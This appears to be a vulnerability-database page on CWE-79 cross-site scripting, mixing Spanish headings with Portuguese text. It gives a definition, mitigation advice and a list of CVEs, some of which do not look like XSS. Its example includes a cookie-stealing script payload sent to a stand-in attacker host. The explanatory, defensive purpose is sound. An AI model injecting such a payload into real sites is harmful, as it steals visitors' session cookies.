Fallos del tipo CWE-79

28.668 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-3553MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2017-15890—Cross-site scripting (XSS) vulnerability in Disclaimer in Synology MailPlus Server before 1.4.0-0415 allows remote authenticated users to inEPSS 0.8%CVE-2022-31065MEDIUMCross site scripting vulnerability for private chat in bigbluebuttonEPSS 0.8%CVE-2021-1599MEDIUMCisco Unified Customer Voice Portal Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2026-26144HIGHMicrosoft Excel Information Disclosure VulnerabilityEPSS 0.8%CVE-2022-2173—Advanced Database Cleaner < 3.1.1 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-2090—Woo Discount Rules < 2.4.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2026-69356CRITICALMicrosoft Exchange Server Spoofing VulnerabilityEPSS 0.8%CVE-2022-31109HIGHHTTP Host Header Attack Vulnerability in laminas-diactorosEPSS 0.8%CVE-2024-51757CRITICALFixes security vulnerability that allowed for server side code to be executed by a <script> tagEPSS 0.8%CVE-2018-15613HIGHOrchestration Designer Runtime Config XSSEPSS 0.8%CVE-2022-23077—Habitica - DOM XSS in login pageEPSS 0.8%CVE-2024-26091MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.8%CVE-2022-23710—A cross-site-scripting (XSS) vulnerability was discovered in the Data Preview Pane (previously known as Index Pattern Preview Pane) which coEPSS 0.8%CVE-2023-53690MEDIUMNagios Fusion < 4.2.0 LDAP/AD Integration Stored XSSEPSS 0.8%CVE-2025-51501MEDIUMReflected Cross-Site Scripting (XSS) in the id parameter of the live_edit.module_settings API endpoint in Microweber CMS2.0 allows executionEPSS 0.8%CVE-2020-15177HIGHUnauthenticated Stored XSS in GLPIEPSS 0.8%CVE-2021-44543—An XSS vulnerability was found in Privoxy which was fixed in cgi_error_no_template() by encode the template name when Privoxy is configured EPSS 0.8%CVE-2021-24617—GamePress <= 1.1.0 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-3646MEDIUMCross-site Scripting (XSS) - Reflected in btcpayserver/btcpayserverEPSS 0.8%